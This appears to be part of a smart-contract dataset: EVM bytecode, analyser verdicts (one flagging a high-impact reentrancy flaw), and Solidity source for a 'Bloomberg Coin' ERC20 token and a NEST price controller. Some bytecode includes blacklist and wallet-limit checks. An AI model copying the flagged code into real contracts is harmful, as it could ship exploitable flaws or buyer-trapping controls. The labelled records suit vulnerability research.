62d565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6014546001600160a01b03838116911614610fdb5760165481610f78846107e2565b610f829190611c7e565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b6000610fe6306107e2565b601754601554919250821015908210610fff5760155491505b8080156110165750601454600160a81b900460ff16155b801561103057506014546001600160a01b03868116911614155b80156110455750601454600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506014546001600160a01b0385811691161480159061112657506014546001600160a01b03848116911614155b15611133575060006111ad565b6014546001600160a01b03858116911614801561115e57506013546001600160a01b03848116911614155b1561117057600654600c55600854600d555b6014546001600160a01b03848116911614801561119b57506013546001600160a01b03858116911614155b156111ad57600754600c55600954600d555b610a3a8484848461143a565b600081848411156111dd5760405162461bcd60e51b815260040161062d91906119f0565b5060006111ea8486611c96565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b6000600a548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b600061129e611468565b90506112aa838261148b565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c37565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190611cad565b8160018151811061139857611398611c37565b6001600160a01b0392831660209182029290920101526013546113be9130911684610b59565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f7908590600090869030904290600401611cca565b600060405180830381600087803b15801561141157600080fd5b505af1158015611425573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611447576114476114cd565b6114528484846114fb565b80610a3a57610a3a600e54600c55600f54600d55565b60008060006114756115f2565b9092509050611484828261148b565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611632565b600c541580156114dd5750600d54155b156114e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150d87611660565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153f90876116bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156e90866116ff565b6001600160a01b0389166000908152600260205260409020556115908161175e565b61159a84836117a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df91815260200190565b60405180910390a3505050505050505050565b600a546000908190670de0b6b3a764000061160d828261148b565b821015611629575050600a5492670de0b6b3a764000092509050565b90939092509050565b600081836116535760405162461bcd60e51b815260040161062d91906119f0565b5060006111ea8486611d3b565b600080600080600080600080600061167d8a600c54600d546117cc565b925092509250600061168d611468565b905060008060006116a08e878787611821565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b60008061170c8385611c7e565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b6000611768611468565b905060006117768383611871565b3060009081526002602052604090205490915061179390826116ff565b30600090815260026020526040902055505050565b600a546117b590836116bd565b600a55600b546117c590826116ff565b600b555050565b60008080806117e660646117e08989611871565b9061148b565b905060006117f960646117e08a89611871565b905060006118118261180b8b866116bd565b906116bd565b9992985090965090945050505050565b60008080806118308886611871565b9050600061183e8887611871565b9050600061184c8888611871565b9050600061185e8261180b86866116bd565b939b939a50919850919650505050505050565b600082611880575060006106b3565b600061188c8385611d5d565b9050826118998583611d3b565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107df57600080fd5b803561192681611906565b919050565b6000602080838503121561193e57600080fd5b823567ffffffffffffffff8082111561195657600080fd5b818501915085601f83011261196a57600080fd5b81358181111561197c5761197c6118f0565b8060051b604051601f19603f830116810181811085821117156119a1576119a16118f0565b6040529182528482019250838101850191888311156119bf57600080fd5b938501935b828510156119e4576119d58561191b565b845293850193928501926119c4565b98975050505050505050565b600060208083528351808285015260005b81811015611a1d57858101830151858201604001528201611a01565b81811115611a2f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5857600080fd5b8235611a6381611906565b946020939093013593505050565b600080600060608486031215611a8657600080fd5b8335611a9181611906565b92506020840135611aa181611906565b929592945050506040919091013590565b600060208284031215611ac457600080fd5b81356112aa81611906565b8035801515811461192657600080fd5b600060208284031215611af157600080fd5b6112aa82611acf565b600060208284031215611b0c57600080fd5b5035919050565b60008060008060808587031215611b2957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5a57600080fd5b833567ffffffffffffffff80821115611b7257600080fd5b818601915086601f830112611b8657600080fd5b813581811115611b9557600080fd5b8760208260051b8501011115611baa57600080fd5b602092830195509350611bc09186019050611acf565b90509250925092565b60008060408385031215611bdc57600080fd5b8235611be781611906565b91506020830135611bf781611906565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7757611c77611c4d565b5060010190565b60008219821115611c9157611c91611c4d565b500190565b600082821015611ca857611ca8611c4d565b500390565b600060208284031215611cbf57600080fd5b81516112aa81611906565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1a5784516001600160a01b031683529383019391830191600101611cf5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7757611d77611c4d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207868d580318e38651977c6eaaa2109e4c9521e5928e04390290deed968e2fd1d64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,365
0x165997aaFa86aD7FAa9906B6c8ED15d536E65Bf6
/** *Submitted for verification at Etherscan.io on 2022-01-15 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract BloombergCoin is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor() { _name = "Bloomberg Coin"; _symbol = "BLBG"; _mint(_msgSender(), 1000000000000000000000000000000000); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } _transfer(sender, recipient, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c391906107d6565b60405180910390f35b6100df6100da3660046107ac565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610770565b61026e565b604051601281526020016100c3565b6100df6101313660046107ac565b61031b565b6100f361014436600461071b565b6001600160a01b031660009081526020819052604090205490565b6100b6610357565b6100df6101753660046107ac565b610366565b6100df6101883660046107ac565b6103ff565b6100f361019b36600461073d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101d590610851565b80601f016020809104026020016040519081016040528092919081815260200182805461020190610851565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b600061026533848461040c565b50600192915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054828110156102f85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610305853385840361040c565b610310858585610530565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161026591859061035290869061082b565b61040c565b6060600480546101d590610851565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102ef565b6103f5338585840361040c565b5060019392505050565b6000610265338484610530565b6001600160a01b03831661046e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102ef565b6001600160a01b0382166104cf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102ef565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102ef565b6001600160a01b0382166105f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102ef565b6001600160a01b0383166000908152602081905260409020548181101561066e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102ef565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906106a590849061082b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106f191815260200190565b60405180910390a350505050565b80356001600160a01b038116811461071657600080fd5b919050565b60006020828403121561072d57600080fd5b610736826106ff565b9392505050565b6000806040838503121561075057600080fd5b610759836106ff565b9150610767602084016106ff565b90509250929050565b60008060006060848603121561078557600080fd5b61078e846106ff565b925061079c602085016106ff565b9150604084013590509250925092565b600080604083850312156107bf57600080fd5b6107c8836106ff565b946020939093013593505050565b600060208083528351808285015260005b81811015610803578581018301518582016040015282016107e7565b81811115610815576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561084c57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c9082168061086557607f821691505b6020821081141561088657634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220b25d712ad2b574cf5f5cb2e43722d53649dfabaab1b3520b423c6e879e8d391e64736f6c63430008070033
{"success": true, "error": null, "results": {}}
7,366
0x82Fe6c1c2Bd0bE9917fe57A6120056868d3073aE
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; interface INestPriceFacadeForNest4 { function triggeredPriceInfo( uint channelId, uint[] calldata pairIndices, address payback ) external payable returns (uint[] memory prices); } interface INestPriceFacade { /// @dev Price call entry configuration structure struct Config { // Single query fee(0.0001 ether, DIMI_ETHER). 100 uint16 singleFee; // Double query fee(0.0001 ether, DIMI_ETHER). 100 uint16 doubleFee; // The normal state flag of the call address. 0 uint8 normalFlag; } /// @dev Get configuration /// @return Configuration object function getConfig() external view returns (Config memory); /// @dev Get the full information of latest trigger price. (token and ntoken) /// @param tokenAddress Destination token address /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) /// @return avgPrice Average price /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, /// it means that the volatility has exceeded the range that can be expressed /// @return ntokenBlockNumber The block number of ntoken price /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken) /// @return ntokenAvgPrice Average price of ntoken /// @return ntokenSigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, /// it means that the volatility has exceeded the range that can be expressed function triggeredPriceInfo2(address tokenAddress, address paybackAddress) external payable returns (uint blockNumber, uint price, uint avgPrice, uint sigmaSQ, uint ntokenBlockNumber, uint ntokenPrice, uint ntokenAvgPrice, uint ntokenSigmaSQ); /// @dev Get the full information of latest trigger price /// @param tokenAddress Destination token address /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) /// @return avgPrice Average price /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, /// it means that the volatility has exceeded the range that can be expressed function triggeredPriceInfo(address tokenAddress, address paybackAddress) external payable returns (uint blockNumber, uint price, uint avgPrice, uint sigmaSQ); } interface IPriceController { /// @dev Get price /// @param token mortgage asset address /// @param uToken underlying asset address /// @param payback return address of excess fee /// @return tokenPrice Mortgage asset price(1 ETH = ? token) /// @return pTokenPrice PToken price(1 ETH = ? pToken) function getPriceForPToken( address token, address uToken, address payback ) external payable returns (uint256 tokenPrice, uint256 pTokenPrice); } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract PriceController3 is IPriceController { // Nest price contract INestPriceFacadeForNest4 immutable _nestBatchPlatform; INestPriceFacade immutable _nestPriceFacade; // usdt address address constant USDT_ADDRESS = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); // nest address address constant NEST_ADDRESS = address(0x04abEdA201850aC0124161F037Efd70c74ddC74C); // HBTC address address constant HBTC_ADDRESS = address(0x0316EB71485b0Ab14103307bf65a021042c6d380); // nest4 base usdt amount uint256 constant BASE_USDT_AMOUNT = 2000 ether; // nest4 channel id uint256 constant CHANNELID = 0; // asset token address => price index mapping(address => uint256) addressToPriceIndex; // price fee uint256 public nest3Fee = 0.001 ether; // owner address address public owner; /// @dev Initialization method /// @param nestBatchPlatform Nest price contract /// @param nestPriceFacade Nest price contract constructor(address nestBatchPlatform, address nestPriceFacade) { _nestBatchPlatform = INestPriceFacadeForNest4(nestBatchPlatform); _nestPriceFacade = INestPriceFacade(nestPriceFacade); addressToPriceIndex[HBTC_ADDRESS] = 0; owner = msg.sender; } /// @dev Uniform accuracy /// @param inputToken Initial token /// @param inputTokenAmount Amount of token /// @param outputToken Converted token /// @return stability Amount of outputToken function getDecimalConversion( address inputToken, uint256 inputTokenAmount, address outputToken ) public view returns (uint256) { uint256 inputTokenDec = 18; uint256 outputTokenDec = 18; if (inputToken != address(0x0)) { inputTokenDec = IERC20(inputToken).decimals(); } if (outputToken != address(0x0)) { outputTokenDec = IERC20(outputToken).decimals(); } return (inputTokenAmount * (10**outputTokenDec)) / (10**inputTokenDec); } function checkAddressToPriceIndex(address tokenAddress) public view returns (uint256) { return addressToPriceIndex[tokenAddress]; } function setNest3Fee(uint256 num) external { require(msg.sender == owner, "Log:PriceController:!owner"); nest3Fee = num; } /// @dev Get price /// @param token mortgage asset address /// @param uToken underlying asset address /// @param payback return address of excess fee /// @return tokenPrice Mortgage asset price(1 ETH = ? token) /// @return pTokenPrice PToken price(1 ETH = ? pToken) function getPriceForPToken( address token, address uToken, address payback ) public payable override returns (uint256 tokenPrice, uint256 pTokenPrice) { require(uToken == HBTC_ADDRESS, "Log:PriceController:!uToken"); if (token == address(0x0)) { // The mortgage asset is ETH,get USDT-ETH price (, , uint256 avg, ) = _nestPriceFacade.triggeredPriceInfo{ value: nest3Fee }(USDT_ADDRESS, payback); require(avg > 0, "Log:PriceController:!avg nest3"); uint256[] memory pricesIndex = new uint256[](1); pricesIndex[0] = addressToPriceIndex[token]; // get HBTC-USDT price uint256[] memory prices = _nestBatchPlatform.triggeredPriceInfo{ value: msg.value - nest3Fee }(CHANNELID, pricesIndex, payback); require(prices[2] > 0, "Log:PriceController:!avg nest4"); uint256 priceETH = (getDecimalConversion( USDT_ADDRESS, avg, address(0x0) ) * prices[2]) / BASE_USDT_AMOUNT; return (1 ether, priceETH); } else if (token == NEST_ADDRESS) { // The mortgage asset is nest,get USDT-NEST price (, , uint256 avg1, , , , uint256 avg2, ) = _nestPriceFacade .triggeredPriceInfo2{value: nest3Fee}(USDT_ADDRESS, payback); require(avg1 > 0 && avg2 > 0, "Log:PriceController:!avg nest3"); uint256[] memory pricesIndex = new uint256[](1); pricesIndex[0] = addressToPriceIndex[token]; // get HBTC-USDT price uint256[] memory prices = _nestBatchPlatform.triggeredPriceInfo{ value: msg.value - nest3Fee }(CHANNELID, pricesIndex, payback); require(prices[2] > 0, "Log:PriceController:!avg nest4"); uint256 priceETH = (getDecimalConversion( USDT_ADDRESS, avg1, address(0x0) ) * prices[2]) / BASE_USDT_AMOUNT; return (avg2, priceETH); } else { revert("Log:PriceController:no token"); } } }
0x6080604052600436106100655760003560e01c8063aa23ba6e11610043578063aa23ba6e1461010b578063f90815911461012f578063fec273171461014f57600080fd5b80630da33aa91461006a5780638da5cb5b146100975780639400e9b1146100e9575b600080fd5b61007d610078366004610cb4565b610192565b604080519283526020830191909152015b60405180910390f35b3480156100a357600080fd5b506002546100c49073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161008e565b3480156100f557600080fd5b50610109610104366004610e06565b610a6b565b005b34801561011757600080fd5b5061012160015481565b60405190815260200161008e565b34801561013b57600080fd5b5061012161014a366004610cf6565b610af1565b34801561015b57600080fd5b5061012161016a366004610c93565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b60008073ffffffffffffffffffffffffffffffffffffffff8416730316eb71485b0ab14103307bf65a021042c6d3801461022d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4c6f673a5072696365436f6e74726f6c6c65723a2175546f6b656e000000000060448201526064015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8516610605576001546040517f89f4d6e300000000000000000000000000000000000000000000000000000000815273dac17f958d2ee523a2206206994597c13d831ec7600482015273ffffffffffffffffffffffffffffffffffffffff85811660248301526000927f000000000000000000000000b5d2890c061c321a5b6a4a4254bb1522425baf0a909116916389f4d6e391906044016080604051808303818588803b15801